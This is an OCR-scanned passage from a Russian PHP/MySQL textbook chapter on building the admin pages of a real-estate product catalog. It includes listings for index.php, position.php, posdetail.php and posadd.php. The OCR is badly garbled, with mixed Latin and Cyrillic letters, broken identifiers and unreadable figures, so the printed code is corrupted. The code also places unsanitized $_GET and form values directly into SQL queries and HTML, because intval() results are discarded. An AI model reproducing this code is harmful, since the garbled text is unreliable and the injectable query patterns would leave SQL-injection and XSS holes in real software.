il1dex.php - страница, выводящая список подкатал огов текущего подка­ талога; о posadd.pl1p - НТМL-форма для добавл ения новой позиции в текущий подкатал ог; о posdel.pllp - скрипт для удаления позиции катал ога; О posdetail.php - вывод подробной информации о текущей позиции; О posdowl1 .pl1 p - скрипт, позволяющий опускать товарную позицию на одну позицию вниз отн осител ьно остал ьных ПОЗИ ЦI1Й; О posedit.php - НТМL-форма дл я редактирования информации о позиции; О posl1ide.pllp - скрипт, позволяющий скрывать позицию;
Глава 13. Каталог продукц ии (у слуг) 683 о роsitiоп . рl1Р - страница для вывода списка позиций текущего подкатал ога; О possllOw.pl1p - скрипт, позволяющий отображать позицию; О posup.php - скрипт, позволяющий поднимать товарную позицию вверх относител ьно остальных позиций. По падая в систе му ад министрирования, первое, что видит посетител ь, - это гл авная страница il1dex.pl1p, содержащая список подкаталогов (рис. 13.2). ПРОПУКU\П1 Вопросы � Отпеты КОDневсй Kr'i"r8J1Q \' � �flo (iaR(01'rb I1щжа:rаЛОI' НазваН>lе ПОЗИЦI1II ОПlu:aI01 е Поз. Дeйctвия ! I ! I I п ш'1'I ТОЛЬКО что построенные UQШ il l '!h. .l.ц ооъеК1Ъ1 I1 fl liJ Q! i Скрыть ! РедаКП'РQj@I1>. ! Уgаmпь 1 8ни� ! ·_····_··_·_··_ · ····_··_···-;-·_··__·_-_·······_··Т···· ·_..__........_......_...._....... _ ..._...._........ ..._._... . . . � �........... 11 I 8ТОРНЧl-l ЬlСl JJ.I! H i9.J! {1 -2] С;крьпъ j 11 [1QdШМ,Ш 11 ВТОРI1ЧНЫI' рынок ЖИЛ ЬЯ 2 E@aI(Тl l pQ.i!�rJ> ! I I УРЭ.fl I1ТЬ . I I 2tlU2 Рис. 13.2 . Гл авная страница системы аДм инистрированl'1Я каталога Как видно из рис. 13.2, подкаталоги текущего катал ога выводятся в виде таб­ лицы , в кото рой под каждый из подкатал огов выделена отдел ьная строка. В первом столбце табл ицы приводится название подкатал ога, подсвеченное гиперссылкой, переход по которой приводит К выводу подкатал огов дан ного катал ога. Во втором стол бце выводится ссылка на позиции данного подката­ лога, причем в скобках указ ывается кол ичество позиций в каталоге (есл и ка­ талог не содержит ни одной позиции, скобки не выводятся). Трети й столбец предназначен для отображения описания подкаталога, четвертый - содер­ жит позицию каталога относител ьно других катал огов текущего уровня . В последн ем столбце находятся управляющие ссылки, позволяющие удал ить катал ог и его содержимое, отредактировать информацию о катал оге, скрыть
684 Часть 11. Создание са йта или отобразить катал ог, а таюке изменить позицию катал ога относител ь н о остал ьных катал огов данного уровня. Перед табл ицей помещается навигационная строка, которая сообщает поль­ зовател ю, в какой точке катал ога он находится в настоящий момент, с воз­ мо)!< Ностью вернуться на предыдущие уров ни. В ко нце навигационной стро­ ки находится управляющая ссылка Добавить подкаталог, позволяющая добавить новый подкатал ог в текущем катал оге. В листинге 13.3 приводится исходный код страницы il1dex.pl1p, ответствен­ ной за вывод списка подкатал огов текущего катал ога. Страница может при­ нимать два GЕТ-параметра: LI id_parent - первичный кл юч родител ьского катал ога (если он не указ ы - вается, выводится кор невой список каталогов); LI page - номер страницы в систе ме постран ичной навигаци и. Есл и GЕТ-параметр id_pa rent не передается, элемент суперглобального массива $_GET [ , id_p arent '] принимает значение О, что соответствует кор­ невому катал огу. Такая же ситуация с GЕТ- параметром page, в случае отсут­ ств ия которого элемент $_ GET [ 'page' ] принимает значение 1, что соответст­ вует первой странице. Листинг 13.3 . Главная стра ница, index.ptlp <?php // Устанавливаем соединение с базой данных require_once (" ../ . ./config/config .php ") ; // Подключаем блок авторизации require_once (" ../utils/securitY_ffiod .php ") ; // Подключаем SoftTime FrameWork require_once (" ../ . ./config/class . config .dmn.php ") ; // Навигационное меню requi re_once (" ../utils/uti ls . navi gation .php") ; // Подключаем блок отображения текста в окне браузера require_once (" ../utils /utils .pr int_page .php" ) ; $title = $titlepage = 'Администрирование каталога продукции '; $pageinfo = '<р сlаss=hеlр>Здесь осуществляется администрирование каталога продукции , добавление новых подка талогов и позиций</р> ';
Гла ва 1 з. Каталог продукц ии (услуг) // Включаем заголовок страницы require_o nce (" ../utils/top .php" ) ; iпtvаl ( $_GЕТ ['id-раrепt 'J); try // Если это не корневой катал ог , выводим ссылки для возврата // и для добавления подкаталога echo '<table cellspacing="O" ce llspacing="O" border=O> <tr va lign="top"><td he ight= "25"><p> '; echo "<а class=menu href=index .php ?id_p arent=O &page=$_GET [pageJ > Корневой каталог</а>- &gt; ". menu_navigation ( $_GET ['id_parent 'J, "" , "<а class=menu href=catadd .php ? ". "id_c atalog=$_GET [id_.pa rent J &" . "id_p arent=$_GET [ id_parent J&". "раgе=$_GЕТ [раgе J >Добавить подкаталог< /а>" ; echo "</td>< /tr></table> "; // Количе ство ссылок в г,остраничной навигации $page_link = 3; // Число позиций на странице $pnumber = 100; // Объявляем объект постраничной навигации $obj = new pager_mys ql ($tbl_c at_catalog , "WHERE id_parent=$_GET [id_p arent J", "ORDER ВУ pos ", $pnumber, $page_l ink, "&id-раrепt=$_GЕТ [id_p arent , J"); // Получаем содержимое текущей страницы $catalog = $obj ->get_page ( ); // Если име ется хотя бы одна запись - выводим if ( !emp ty ($catalog ) ) 685
686 // Выводим заголовок таблицы echo '<table width="100%" class=" table" border="O" cellpadding="O" cellspacing="O"> <tr class= "header" align="center"> <td аligп=сепtеr>Название</td> <td аligп=сепtе r>Позиции</td> <td а�igп=сепtеr>Описание< / td> <td width=20 аligп=сепtеr>Поз .</td> <td width=50>Действия</td> </tr> ' ; for ($i = О; $i < count ($catalog) ; $i++ ) Часть 11. Создание са йта $url "id_c atalog= {$catalog [$i] [id_catalog ] }&". "id_p arent= { $catalog [$i] [id_p arent ] } & ". "page=$_GET [page] "; // Выясняем, скрыт каталог или нет if ($catalog [$i] ['hide' ] 'hide') $strhide = "<а hrеf=саtshоw .рhр ?$urJ >Отобразить</а>"; $style= " class=hiddenrow "; else $strhide = "<а href=cathide .php ?$url>CKpb l Tb </a>" ; $style=" "; // Подсчитываем количество позиций в каждом из подкаталогов $query = "8ELECT СОИNТ (*) FROM $tb l_cat_po sit ion WНERE id_catalog = ($c atalog [$i] [id_ catalog] }"; $pos = my sql_query ($query) ; if (!$pos )
Глава 1 з. Каталог продукции (у слуг) throw new Except ionМySQL (mysql_error () , $query , "Ошибка при подсчете количества позиций" ) ; $total = my sql_result ($pos , О) ; if ( $total > О) $total = "&nb sp; ($total) "; else $total "" . , // Выводим список каталогов echo "<tr $style > <td><a hre f=index .php ? ". 687 "id_p arent= {$catalog [$i] [id_catalog ] ) &page=$_GET [page ] >" . html specialchars ($catalog [$i] [ 'пате ' ] ) . "</a></td> <td align=cent er> <а hre f=position . php?id_catalog= {$catalog [$i] [id_c atalog ] »" . "Позици и $tоtаl</а> </td> <td>" . n12br ( htmlspe cialchars ($catalog [$i] ['descript ion' ])). "&nbs p;</td> <td align=center> {$catalog [$i] [pos ] ) </td> <td> <а hre f=catup .php ?$url>BBepx< /a><br> $strhide<br> <а href=# onCl ick=\ "deleteyosition ('catdel . php?$url ',". "'Вы действительно хотите удалить каталог? ') ;\">Удалить </а><Ьr> <а hrеf=саtdоwn .рhр ?$url>Вниз</а><Ьr></td> </tr>"; echo "</table><br> "; / / Выводим ссылки на другие страницы echo $obj ; catch ( Except ionМySQL $ехс )
688 Ча ст ь 11. Соз дание сайта ?> require (" . ./utils/exception_mys ql . php " ) ; // Включаем завершение страницы require_опсе (" ../utils /bottom. php " ) ; Для вывода списка дочерних подкаталогов текущего подкатал ога испол ьзу­ ется класс постраничной навигации my sql_pager, который подробно рас­ сматривается в главе 7. В листинге 13.4 представл ен SQL-запрос, который формирует класс mysql_pager к табл ице system_ catalog ($tbl_cat_catalog). Запрос извлекает все записи, для которых поле id_parent принимает значе­ ние, равное GЕТ-параметру id_pa rent, то есть подкаталоги, дл я которых те­ кущий катал ог является родител ьским. Сорти ровка осуществляется по пол ю pOS (ORDER ВУ pos). ЗА МЕЧАНИЕ В листинге 13.4 приведен SQL-за прос дл я первой страницы. Для после­ дующих ст раниц в ко нструкции LIMIT вместо цифры 1 подста вляется соот­ ветствующее смещение. Л истинг 13.4 . SQL-запрос ДЛЯ пострани чной навигации SELECT * FROM $tbl_cat_catalog WНERE id_раrепt=$_GЕТ [ id-раrепt J ORDER ВУ pos LIMIT 1, $pnumbe r Все операции , связанные с этим кл ассом, помещаются в ко нтрол ируемый блок try ... catch (), который ул авливает исключения Excepti onMy SQL, свя­ занные с ошибками, возникаю щими при работе с СУБД MySQL. Объект кл асса my sql_pager предоставляет двумерный масс ив $catalog, кото рый по­ зволяет обращаться к записям табл ицы system_ catalog ($tbl_cat_catalog) дл я текущей страницы . Первый индекс указывает на запись, второй - на оп­ ределенное поле в каждой конкретной записи . ЗАМЕЧА НИЕ Все приводимые управляющие ссылки и скрипты полностью аналогичны управляющим ссылкам системы управления содержи мым сайта CMS (см . главу 12), за исключением имени табл ицы MySQL. Скрипты catadd .php,
Глава 1 З. Каталог пр одукции (услуг) 689 catdown .php, catedit.php, cathide.php, catshow. php и catup.php можно найти на ко мпакт-диске, поставляемом вместе с книгой и в разделе Down loads сайта http://www.softtime. ru/. Переход по управляющей ссылке Пози ц ии приводит к переходу на страницу positiOI1.php, ответственную за вывод позиций текущего подкатал ога. Внеш­ н и й вид стран ицы приводится на рис . 13.3. !29D.RОС"Ш OTBe,I\1l рП ОК �DGОСТИ Корневое меню·> Н()вые КВ ВI)""1Ры->J:lоб�Шl1h ,·Ю:ЩI.I,I!(J район/ад рес приыечание Дei icПllIЯ КаНf}ВИНСЮ·I �1 М ЯМL-кgя ! I .._...._........_...__._.........._........_ .....! ............................................................................. {1-1] 1.l\!.Ш I Скрыть I !:m1!il l !J).Q§.iil l. I �-=ить .. .. ..... .... .. ! Рис. 13.3 . Страница с позициями каталога Структура стран ицы, выводящей список позиций катал ога, совпадает со структурой ранее рассмотренной страницы дл я вывода списка подкатал огов. Позиции катал ога выводятся в виде табл ицы, в которой строка соответствует каждой отдел ьной пози ции и снабже на управляющими ссылками, позволяю­ щими редактировать, удалять, скрывать/отображать позиции и менять место­ положение текущей позиции относител ьно других . Для того чтобы не пере­ гружать стран ицу информацией, из параметров выводится тол ько район и ад рес, кото рые подсвечены в виде ссылки, позволяющей в отдел ьном окне вы вести более подробную информацию (рис. 13.4). ЗАМЕЧА НИЕ Вывод сл ишком бол ь шого кол ичества стол бцов может приводить к потреб­ ности в го ризонтал ьной прокрутке и затруднению восприятия; вывод сл иш-
690 Часть 11. Создание сайта ком СКУДН Ы Х сведений та юке может затруднять работу с каталогом . В каждом ко нкретном случае следует искать компромисс между сл и шком подробным и сл ишком скудным выводом информации в реЗул ьтирующей табл ице. Парамеrp Значение Рэ.Й рн Канавинский Адр ес М. Ямская ПЛ ощадь(О.'ЖjК) 74154/3.5 Коп . комнат 2 ._-_._-----------------_._._--- Этаж 2 Этэ.'Кн ость дома 12 Материал КИ РШ14ИНЫЙ Сан. уз еп сов. Бапкон балко н Це на 1200000 Цен а м.кв. 12000 Валюта RUR Рис. 13.4. Вывод подробных сведений о то варной позиции во всплывающем окне в листинге 13.5 приводится содержимое файла position.php, который выво­ дит список позиций текущего подкатал ога. Листи нг 13.5. ВЫВОД списка позиций текущего подкаталога , position.php <?php 1 / Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config .php" ) ; 11 Подключаем блок авториз ации require_once (" ../utils/securitY_ffiod .php" ) ; 11 Подключаем SoftTime FrameWo rk requi re_once (" ../ ../config/class . config .dmn.php ") ;
Глава 1 з. Каталог продукции (у слуг) / / Навигационное меню requ ire_once (" ../uti1s/uti1s .navi gation .php" ) ; / / Подключаем бл ок отображения текста в окне браузера require_once (" ../utils/uti1s .pr intyage .php" ) ; $t it1e = $tit1epage = 'Администрирование каталога продукции '; 691 $pagei nfo = '<р с1аss=hе1р>3де сь осуществляется добавление позиций , удаление или редактирование уже суще ствующих позиций</р> '; / / Включаем заголовок страницы require_once (" ../uti1s/top .php" ) ; intva1 ( $_GET ['id_cata1og ']); try // Извлекаем параметры текуще го каталога $query = "8ELECT * FROM $tb l_cat_cata1og WНERE id_cata1og $_GET [id_cata1og ] LIMIT 1"; $cat = rny sq1_que ry ($query ); if (!$cat ) throw new Except i onМy8QL (rnysq1_e rror () , $query , "Ошибка извлечения параметров каталога" ) ; $cata1og = rnysq1_fetch_a rray ($ca t) ; // Если это не корневой каталог , выводим ссылки ДЛЯ возврата // и для добавления подкаталога echo '<table ce11spacing="O" ce11spacing="O" border=O> <tr va 1ign="top"><td height="25"><p> '; echo "<а c1ass=rnenu href=index .php ? ". "id_p arent=O &page=$_GET [page ] >KopHeBoe меню< /а>-&gt ;". rnenu_navigation ($_GET ['id_cat a10g ' ] , "", $tbl_cat_cata10g) . "<а c1ass=rnenu hre f=posadd .php ? id_cata1og=$_GET [id_cat a1og]".
692 Часть 11. Создание са йmа "&раgе=$_GЕТ [раgе ] >ДОбавить позицию</а>"; есЬо "</td>< /tr></table>"; // Количество ссылок в постраничной навигации $page_l ink = 3; // Количество позиций на странице $pnumber = 10; // Объявляем объект постраничной навигации $obj = new page r_rnys ql ($tbl_cat�osition , "WНERE id_catalog=$_GET [id_c atalog ]", "ORDER ВУ pos ", $pnumber, $page_l ink , "&id_cat alog=$_GET [id_c atalog ]"); // Получаем содержимое текущей страницы $pos ition = $obj - >get_pa ge () ; / / Если име ется хотя бы одна запись - выводим if ( ! ernpty($position) ) // Выводим заголовок таблицы есЬо '<table width="100% " class=" table " border="O" cellpadding="O" сеllsрасiпg="О"> <tr class="header" align= "center"> <td width=150>район /адре с</ td> <td>примечание< / td> <td width=lОО>Действия< /td> </tr> ' ; for ($i = О; $i < count ($pos ition) ; $i++ ) $url "id�o sit ion={$position [$i] [id_p osition] }&". "id_catalog= {$_GET ['id_catalog ' ] } &" . "page= {$_GET [page] )";
Гла ва 13. Каталог продукц ии (услуг) // Выясняем, скрыта позиция или нет if ($po sition [$i] ['hide' ] 'hide' ) $strhide "<а hrе f=ро sshоw .рhр ?$url>Отобразить </а>"; $style = " class=hiddenrow "; else $strhide = "<а hre f=poshide .php ?$url>CКPblTb </a>"; $style = ""; // определяем район $distr = "Канавинский "; switch ($position [$i] ['district' ]) case 'kanavins kii ': $distr = "Канавинский" ; break; case 'nizhegorodskii' : $distr = "Нижегородский "; break; case 'sovet skii ': $distr = "Советский" ; break; case 'priokskii ': $distr = "Приокский "; break; case 'mos kovs kii ': $distr = "Московский" ; break ; case 'avtozavods kii ': $distr = "Автозаводский "; break; case 'lenins kii ': $distr = "Ленинский" ; break; case 'sormovs kii ': 693
694 Часть /1. Создание са йта ?> $distr break; "СормовсЮ1Й" ; // Выводим позици и echo "<tr $style> <td> <а href=# onclick=\"show_de tail ('posdetail.php " . "?idyosition= {$position [$i] [idy osition] }',400, 3S0 ) ; " . " return false\ " titlе=\ "ПОДРОбнее \"> $distr<br> {$pos ition [$i] [addre ss ] } </а> </td> <td> {$pos ition [$i] [note ] }</td>"; echo " <td> <а href=posup .php ?$url>BBepx< /a><br> $strhide<br> <а hrеf=р оsеdit . рhр?$url>Редактировать</а><Ьr> <а href=# onCl ick=\"deleteyosition ('posdel .php ?$url ',". "'Вы действитель но хотите удалить позицию? ');\ ">Удалить</а><Ьr> <а hrеf=роsdоwn .рhр ?$url>Вниз</а> </td> </tr>" ; echo "</table><br> "; / / Выв одим ссылки на другие страницы echo $obj ; catch ( Excepti onМySQL $ехс ) require ("../utils/except ion_my sql .php" ) ; // В�чаем завершение страницы require_once ("../utils/bottom.php" ) ;
Глава 1 З. Каталог f/родукц uu (услуг) <sc r ipt language= 'JavaScriptl .l' type= 'text/javascript '> <!-- function show_det ail (url , width ,height ) var а; var Ь; var url ; vidWindowWidth=wi dth ; vidWindowHeight=he ight ; а= ( sсrееп .hеight-vidWiпdоwНе ight )/5; Ь= (sсrееп . width-vidWiпdоwWidth )/2; features = "top=" + а + ",left=" + Ь + ",width= " + vidWindowWidth + ", he ight= " + vidWindowHeight + ", toolbar=no , menub ar=no ,location=no " + ", directories=no, s crollbars=no ,resizable=no"; window . open (url , " , features,.true ) ; //-- > </script> 695 Так как район, где находится квартира, хранится в поле ENUM, при помощи кон­ струкции switch английские названия заменяются русскими эквивалентам и. Ссылки на удаление традиционно оформляются через JavaScript-код, чтобы предоставить возможность пользователю отм енить действие, если переход по ссылке был случаен. Для отображения окна с подробной информацией о позиции также использу­ ется функция JavaScript show_de tail (), которая принимает в качестве перво­ го параметра ссыл ку на скрипт catdetai l.php, а во вто ром и третьем парамет­ рах - ширину и высоту открываемого окна. В листинге 13.6 приводится содержимое скрипта catdetai l.pllp. В качестве GЕТ-параметра id_position скрипт принимает значение первичного кл юча товарной позиции в табл ице system_po sition ($tb l_cat_po sition) . Листинr 13.6. ВЫВОД подробной информации о позиции <?php // Устанавливаем соединение с базой данных requi re_once (" ../ . ./config/config .php" ) ;
696 Часть 11. Создание са йта // Подключаем SoftTirne FrarneWork require_once (" ../ ../config/class.config . drn n .php ") ; ?> <htrnl > <head> <rneta http- еquiv= "Сопtепt - Туре " content="text /htrnl ; charset=windows - 1251"> <titlе>Подробная ИНформа ция</titlе> <link rel= "StyleSheet " type=" text /css" href=" ../utils/crns .css"> </head> <body leftrnargin="O" rnarginheight= " О " rna rginwidth= "O" rightrnargin= " О " bottornrna rgin="O" toprnargin="O"> <table width="100% " border="O" cellspac ing="O" cellpadding= " О " height="100% " class="text "> <tr va lign="top "> <td colspan="3 ">&nb sp ;</td> </tr> <tr va lign=top> <td width=O>&nbsp;</td> <td class=rnain height=1 00%> <?php // Проверяем GЕТ- параметры intval ( $_GET ['id_pos ition' ]); try $query "SELECT * FROM $tbl_c at_pos ition WHERE id_position $_GET [id_pos i:tion] LIMIT 1";
Глава 1 з. Каталог продукции (услуг) $pos = rnysql_query ($query) ; if ( !$pos) throw new Except i onМySQL (rnys ql_error () , $query, $pos ition ?> <table width="lOO% " class="table" borde r="O" cellpadding=" O" cellspacing="O">· "Ошибка при обращении к таблице позиций" ) ; <tr class="header" align= "center"> <td>Параметр< /td> <td>3начение</td> </tr> <?php // Определяем район $distr = "Канавинский "; switch ($position ['district ']) case 'kanavins k ii ': $distr = "Канавинский" ; break; case 'ni zhegorods k ii ': $distr = "Нижегородский" ; break; case 'sovet skii ': $distr = "Советский" ; break; case 'priokskii ': $distr = "Приокский " ; break; 697
698 case 'moskovs kii ': $distr = "Московский" ; break; case 'avt ozavods kii ': $distr = "Автозаводский "; break; case 'lenins kii ': $distr = "Ленинский "; break; case 'sormovs kii ': $distr = "Сормовский" ; break ; // Определяем материал дома $material = "кирпичный "; switch ($position ['material ']) case 'brick' : $material break; "кирпичиный " ; case 'concrete ': $material = "панельный" ; break; case 'reconcrete ': $material = "монолит "; break; // определяем тип санузла $su = "сов. "; switch ($position['su' ]) case 'separate ': $su = "сов. "; break; case 'cornb ined ': $su = "разд. "; break; Часть /1. Создание сайта
Гла ва 1 з. Каталог продукц ии (услуг) // Определяем наличие балкона $balcony = "балкон" ; switch ($pos ition ['balcony' ]) case 'balcony' : $balcony = "балкон" ; break; case 'loggia ': $balcony = "лоджия" ; break; echo "<tr> <td аligп= right > Район< /td> <td>$distr</td> </tr>" ; echo "<tr> <td align= right>Aдpe c</td> <td>$pos ition [address ] </td> </tr>" ; echo "<tr> <td аlign=right>Площадь (О/Ж/К) < /td> <td>$pos ition [squareo ]/$pos ition [ squarej ] /$pos ition [squarek]</td> </tr>" ; echo "<tr> <td аligп= right>Кол . комнат</td> <td>$pos ition [ rooms ] </td> </tr>" ; echo "<tr> <td аligп= right>Этаж< /td> <td>$pos ition [floor] </td> </tr>" ; echo "<tr> <td аligп= right >Этажно сть дома</td> <td>$pos ition [ floorhous e] </td> </tr>" ; echo "<tr> <td аligп= right>Материал< /td> 699
700 <td>$material</td> </tr>" ; echo "<tr> <td align=right>CaH . уэел< /td> <td>$ su</td> </tr>" ; echo "<tr> <td аlign= right>Балкон</td> <td>$balcony< /td> </tr>"; echo "<tr> <td аlign= right>Цена</td> <td>$position [price ] </td> </tr>" ; echo "<tr> <td аlign= right>цена M. KB .</ td> <td>$position [pricemeter] </td> </tr>"; echo "<tr> <td аlign= right >Валюта</td> <td>$pos ition [ currency] </td> </tr>" ; echo "</table><br><br> "; catch ( ExceptionМySQL $ехс ) require (" ../utils/exception_my sql .php ") ; ?> </td> <td width= 1 0>&nbsp ;</ td> </tr> <tr class=authors> <td colspan="3"></td>< /tr> </table> </body> </html > Часть /1. Создание са йта
Глава 1 З. Каталог продукции (услуг) 701 Так как скрипт не является вспомогател ьной страницей, он не содержит вкл ючения заголовочного top . pl1 p и завершающего bottom.pl1p файлов. ВОIЩ(IСЫ И QI9ШМ п.n{О) ': п л(Ж) ': пл(КJ ': Ко л-во комнат: Эr,аж :-'� Этажн.дома ': Маrерmщ дома: Сан. узел: Сан. узел: ЦеНI1 '; Цена M.I<В . ': , Вапюrа: I?� .. 12� I�.__ _.- .__ __ ____.__ '!.?' Н ." II(':Ip���t:'I>.I.� ... fJ 1с:.()J3��Щ�': :i ': :i ���l!j I!.'()�I-I�(g} 11?99о. I'3Ч'3l\Ю Отооражаrь: f? Добави ть Рис. 13.5 . Добавление новой позиции . . .(;1';'.�,."
702 Часть 11. Создание са йта При помощи конструкций switch, которые переводят английские названия в русские, обрабатываются следующие ЕN UМ-поля табл ицы system_pos iti o n ($tbl cat pos ition) : C:J district - район; C:J ma terial - материал дома; C:J su - санузел; C:J balcony - тип балкона. Для добавления позиции используется скрипт posadd .pl1p, генерирующий НТМL-форму, представленную на рис. 13.5. Содержимое скрипта posadd.php представлено в листинге 13.7 . В качестве GЕТ-параметров скрипт принимает значе ние первичного ключа текущего каталога id_catalog. Листинг 13.7 . Добавление поз иции posadd.php <?php // Устанавлив аем соединение 9 базой данных requi re_once (" . ./ ../config/config .php" ) ; // Подключаем блок авторизаци и require_once ("../utils/security_m od .php" ) ; // Подключаем классы формы requi re_once (" . ./ ../config/class .config .dmn.php ") ; if (emp ty ( $_POST )) $_REQUEST ['hide' J = true ; try $district intval ($ REQUE ST ['id_catalog ']); new field_select ( "district" , "Район " , array ("kanavins kii" = > "Канавинский" , "nizhegorods kii" = > "Нижегородский" , "sovetskii" = > "Советский" , "prioks kii" = > "приокский ", "moskovs kii" = > "Московский" , "avt o z.avods kii" = > "Автозаводский" ,
Глава 13. Каталог продукц ии (услуг) $addre ss $squareo $squarej $squarek $rooms $floor $f1oorhouse $rnateria1 "lenins kii" => "Ленинский", "sormovs kii" => "Сормовский" ) , $_REQUEST ['district' ] ); new fie1d_t ext ("address", "Адрес" , true , $_REQUE ST ['address ']); new f ie1d_text ( "squareo " , "пл (О) ", true , $_REQUE ST ['squareo' ] ); new fie1d_text ("squarej ", "пл (Ж) ", true , $_REQUEST ['squarej ']); new fie1d_text ("squarek" , "пл (К) ", true , $_REQUE ST ['squarek' ]); new fie1d_s e1ect ("rooms", "Кол-во комнат ", array ("l" => "1", "2" => "21', "3"=> "3", "4" => "4", "5" => 115", "6" => "6") , $_REQUEST ['rooms'] ); new fie1d_text_int ("f100r", "Этаж" , true , $_REQUEST ['f1oor ' ]); new fie1d text_int ("f1oorhous e", "Этажность дома" , true , $_REQUEST ['f1oorhouse ']); new fie1d_se1ect ("rnateria1 ", "Материал дома ", 703
704 Часть 11. Создание сайта array ("brick" = > "кирпичный" , "concrete" => "панель ный", "reconcrete" = > "монолитный" ) , $_REQUE ST ['rnaterial'] ); $su new field_s elect ("su" , "Сануз ел " , array ("combined" => "раздельный", "separate" = > "совмещенный" ) , $balcony $_REQUEST ['su ']); new field_select ("balcony" , "Сан . узел" , $price array ( "balcony " = > "балкон ", "loggia" = > "лоджия" ) , $_RE QUE ST ['balcony' ]); new field_t ext_int ("price", "цена ", $pricemeter true , $_REQUE ST ['price'] ); new field text_int ("pricemeter" , "цена м.кв . ", $currency true , $_RE QUEST ['pricemeter ']); new field_select ("currency" , $note $hide "Валюта " , array ("RUR " = > "RUR" , "EUR" => "EUR" , "USD" = > "USD" ), $_REQUEST ['currency' ]); new field_textarea ( "note " , "Примечание " , false, $_REQUEST ['note' ]); new field_che ckbox ("hide", "Отображать", $id_cat alog $_REQUE ST ['h ide' ] ); new field_hidden_int ("id_catalog" , true , $ REQUEST ['id_catalog ']);
Гла ва 1 з. Каталог продукц ии (у слуг) $for:m = new for:m (array ( "district" "addres s" "squareo " "squarej " "squarek" "rooms " "floor" "floorhous e" "rnaterial" "su" "balcony" "price" "pricemeter" "currency" "note" "hide " "id_c atalog " "Добавить " , "field" ); // Обработчик НТМL-формы if (!empty ($ POST ) ) { => $district , => $address , => $squareo , => $squarej , => $squarek, => $rooms , = > $floor, => $fl oorhous e, => $rnaterial, => $зи, => $balcony , => $price , => $pricerneter, => $currency, => $note, => $hide , => $id_catalog) , // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $for:m->che ck () ; if (ernpty ($error) ) // Извлекаем текущую максимальную позицию $query = "SELECT МАХ(роз ) FROM $tb l_cat-position 705 WHERE id_catalog = {$for:m->fields [ id_catalog ] ->va lue) ')"; $роз = rnysql_qu ery ($que ry) ; if (!$роз ) throw new Except ionМySQL (rnysql_e rror () , $query ,
706 Часть 11. Создание сайmа "Ошибка при извлече нии текущей позици и "); $pos ition my sql_result ($pos , О) + 1; / / Выясняем, скрыта или открыта позиция if ($form->fields ['hide']->value ) $showhide else $showhide = "hide"; "show" ; // Формируем SQL-запрос на добавление позиции $query = "INSERT INTO $tbl_catyosition VALUES (NULL, '{$form->fields [no te] ->value} ', '{$form->fields [district ] ->value }', '{$form->fields [address] - >value }', '{$form->fields [squareo ] ->value }', '{$form->fields [squarej ] ->value} ', '{$form->fields [squarek] ->value }', '{$form->fields [rooms ]->va lue} ', '{$form->fields [floor ] ->value} ', '{$form->fields [floorhous e] ->value }', '{$form->fields [material ]->value }', '{$form->fields [su] ->value } ', '{$form->fields [balcony ] ->value }', '{$form->fields [price ] ->value }', '{$form->fields [pricemeter] ->value }', '{$ form->fields [currency] ->value }', '$showhide ' , '$position ' , NOW() , , {$form->fields [id_c atalog ] ->vв; luе } , ) "; if( ! mys ql_que ry ($query) ) { throw new Except i onМySQL (mys ql_error () , $query, "Ошибка добавления позиции" ) ;
Глава 13. Каталог продукц ии (у слуг) 707 // Осуществляем редирект на главную страницу администрирования header ( "Location : pos i tion .php? ". "id_c atalog= {$fonn->fields [ id_catalog]->va lue}&". "page= {$fonn->fields [page ] ->value }") ; ехН (); // Начало страницы $title 'Добавление позици и '; $pageinfo '<р class=he lp></p> '; // Включаем заголовок страницы require_once (" ../utils/top.php" ) ; echo "<р><а href=# onClick='history .back (} '>Назад</а></р>"; / / Выв одим сообщения об ошибках, если они имеют ся if (!empty ($error) ) foreach ($error аз $err) echo "<span style=\"color : red\ ">$err</span><br>"; } // Выводим НТМL-форму $fonn->print_fonn ( ); catch ( Excepti onObj ect $ехс } require (" ../utils/exception_obj ect .php ") ; catch ( Except ionМySQL $ехс ) require (" ../utils/exception_mys ql .php "} ; catch ( Excepti onМember $ехс ) requi re (" ../utils/exception_membe r.php ") ;
708 Часть 11. Создание са йта ?> // Включаем завершение страницы requi re_once (" ../utils/bottom .php" ) ; После того как все поля НТМL-формы заполнены и нажата кнопка Доба­ вить, вступает в действие обработч ик НТМL-формы, заключенный в усло­ вие: Н( !emp ty ( $_POST) ) ( ) Для заполнения поля pos новой записи из табл ицы system_pos ition ($tb l_cat_po sition) извлекается максимальное значение поля pos, которое увеличивается на единицу. Скрипт posedit.php, предназ наченный для ге нерации НТМL-формы редакти­ рования позиции, аналогичен скрипту posadd.pI1p. Отличие закл ючается в то м, что скрипту передается дополнительный GЕТ-параметр id_p o sition С первичным кл ючом редактируемой записи. Перед выводом НТМL-формы из таблицы system_po sition ($tJ;J l_cat_po sition) извлекаются те кущие значе­ ния параметров позиции, кото рые подставл яются в НТМL-форму. В обработчике НТМL-формы posedit.php вместо опе ратора вставки INSERT испол ьзуется оператор обновления UPDAT E. Файл posed it.pl1p можно найти на компакт-диске, поставляемом совместно с книгой. Для удаления позиций каталога используется скрипт posdel.pl1p (л ис­ тинг 13.8), который принимает два GЕТ-параметра: О id_p o sition - первичный кл юч удаляемой позиции в табл ице system_posi tion ( $tbl_cat_position) ; О id_catalog - первичный кл юч текущего катал ога, которому принадл е­ жит позиция. ЗА МЕЧАНИЕ Скрипты poshide.php, posshow. php, posdown .php и posup.php, ответствен­ ные соответственно на сокрытие, ото бражение, опускание и поднятие по­ зиции отн осител ьно остал ьных позиций, имеют стандартную структуру, сходную со структурой аналогичных скриптов, рассмотренных ранее. Со­ держимое этих фа'йлов можно найти на ко мпакт-диске, поставляемом вме­ сте с книгой.
